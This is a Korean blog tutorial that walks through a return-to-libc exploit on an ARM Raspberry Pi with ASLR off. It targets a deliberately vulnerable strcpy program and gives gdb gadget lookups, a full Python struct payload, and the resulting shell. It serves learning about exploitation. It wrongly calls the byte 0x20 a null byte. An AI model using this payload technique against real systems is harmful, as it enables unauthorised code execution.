Self-Improvement

ARM - RTL system("/bin/sh") 예제 (ASLR off, seed48, memmove, struct) 본문

ARM

ARM - RTL system("/bin/sh") 예제 (ASLR off, seed48, memmove, struct)

JoGeun 2021. 1. 22. 14:07

shantoroy.com/security/ret-to-libc-arm-exploitation-raspberry-pi/

 

TITLE

DESC

shantoroy.com

r11을 덮자

 

소스코드 bof.c

//gcc -fno-stack-protector -o bof bof.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// This is our vulnerable function
void vulnerable(char *arg) {
    char buff[100];
    // to print return address
    printf("%p\n",&buff[0]);  
    strcpy(buff, arg);
}

// Pass argument in the vulnerable function
int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}

 

보호기법

ASLR off

gef> checksec
[+] checksec for '/bof'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : No

 

RTL

NX는 스택에 쉘코드를 올려서 실행을 방지하는 메모리 보호기법으로써 RTL을 이용하여 스택이 아닌 원하는 함수를 호출하는 공격기법이다.

참고 : johyungen.tistory.com/444

 

RTL (Return To Library), RTL Chaining, gadget(PPR), Got Overwrite 실습

https://wogh8732.tistory.com/106 https://liveyourit.tistory.com/122 https://shayete.tistory.com/entry/4-Return-to-Library-RTL RTL은 DEP라는 방어의 우회 공격 기법이다. DEP란 버퍼 오버플로우로 RET(스..

johyungen.tistory.com

 

소스코드의 strcpy 함수에서 BOF 취약점이 존재하며 프레임 포인터 r11까지 도달하기 위해선 104byte가 필요하다.

RTL을 이용하여 system 함수를 실행시킬 것이며 그러기 위해선 아래의 주소가 필요하다

1. gadget 주소
      - seed48 함수의 가젯으로 /bin/sh 실행할 예정이다.
2. system 주소
3. system 실행할 명령어 주소

gadget에서 /bin/sh을 seed48로 가능한 이유는 아래에 읽어보면 알 것이다.

 

1. gadget 주소

system("/bin/sh")을 실행하기 위한 가젯은 라이브러리에 존재하는 seed48함수의 가젯으로 바이너리 파일을 샐행한 후 다음과 같은 가젯 seed48+24의 "pop {r4, pc}", seed48+20의 "add r0, r4, #6"을 사용한다. (ASLR OFF임으로 라이브러리의 가젯 주소는 변하지 않는다)

0xb6ea5df8, 0xb6ea5dfc

gef> p seed48
$1 = {unsigned short *(unsigned short *)} 0xb6ea5de4 <seed48>
gef> x/i 0xb6ea5de4+20
   0xb6ea5df8 <seed48+20>:	add	r0, r4, #6
gef> x/i 0xb6ea5de4+24
   0xb6ea5dfc <seed48+24>:	pop	{r4, pc}

 

2. system 주소 

실행파일을 gdb로 열고 system 함수 주소를 구해준다. (ASLR OFF임으로 매핑되는 system 주소는 변하지 않는다)

0xb6eadfac

gef> p system
$2 = {<text variable, no debug info>} 0xb6eadfac <__libc_system>

 

3. binsh 주소

system 함수 인자의 꽃은 "/bin/sh"으로 라이브러리에 존재하며 gdb에서 구하는 명령어는 2가지가 있다. 편한것을 사용하자 (ASLR OFF임으로 라이브러리의 문자열 주소는 변하지 않는다.)

0xb6f91b20

binsh 주소에서 마지막 byte가 0x20으로 nullbyte로 strcpy 함수에 의해 수행되면 null로 인식하여 그 뒤의 페이로드는 제대로 스택에 들어가지 못한다!!! 그래서 seed48 함수의 gadget(add r0, r4, #6)을 쓰는것이다.

gef> grep "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/lib/arm-linux-gnueabihf/libc-2.19.so'(0xb6e74000-0xb6f9f000), permission=r-x
  0xb6f91b20 - 0xb6f91b27 ->  "/bin/sh"
  
gef> find &system,+9999999,"/bin/sh"
0xb6f91b20
warning: Unable to access 16000 bytes of target memory at 0xb6fa1528, halting search.
1 pattern found.

 

RTL 수행

이제 위에서 얻은 주소들로 페이로드를 작성해주자.

gadget1 = <seed48+24>:   pop  {r4, pc} 
gadget2 = <seed48+20>:   add  r0, r4, #6
binsh - 0x6 = 0xB6F91B1A
	// binsh - 0x6 ?= <seed48+20> add r0, r4, #6
system = 0xb6eadfac

A*104 + gadget1(0xb6ea5dfc) + binsh-0x6(0xB6F91B1A) + gadget2(0xb6ea5df8) + dummy + system(0xb6eadfac)
= python -c "import struct; print('A'*104+struct.pack('<L',0xb6ea5dfc)+struct.pack('<L',0xB6F91B1A)+struct.pack('<L',0xb6ea5df8)+'bbbb'+struct.pack('<L',0xb6eadfac))"
  • gadget1(0xb6ea5dfc)으로 인해 binsh-0x6(0xb6f91b1a) 주소가 r4 레지스터에, gadget2 주소가 pc에 저장된다.
  • 다음 pc에 저장된 gadget2가 수행되는데 이때 r4의 값은 binsh-0x6의 주소값이고 6을 더하여 r0에 저장한다. 즉, binsh 주소가 된다.
  • gadget2(seed48+20)가 끝나고 seed48+24가 수행되는데 다시 gadget1을 수행하는 것이다.
  • dummy는 r4에, system 주소는 pc에 저장되어 system 함수가 실행되고 인자는 r0에 저장된 binsh이 된다.

 

$ ./bof `python -c "import struct; print('A'*104+struct.pack('<L',0xb6ea5dfc)+struct.pack('<L',0xB6F91B1A)+struct.pack('<L',0xb6ea5df8)+'bbbb'+struct.pack('<L',0xb6eadfac))"`
0xbefff1a4
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
$ 

 

마무리

ROP 할 경우에는 offset을 기준으로 주소를 작성해줘야한다.

 

/bin/sh이 아닌 하나의 명령어를 사용할경우라면 memmove+236의 gadget을 사용한다

이 가젯으로 /bin/sh을 하면 주소의 마지막 바이트가 0x20으로 되어있어서 주소 그대로 들어가면 수행되지 않는다.

gef> x/i memmove+236
   0xb6eee12c <memmove+236>:	pop	{r0, r4, pc}

 

 

틀린점이 있다면 지적바랍니다 가젯을 2번 써서 프로그래밍을.. 한거니.. ROP를.. 한것같기도 하고...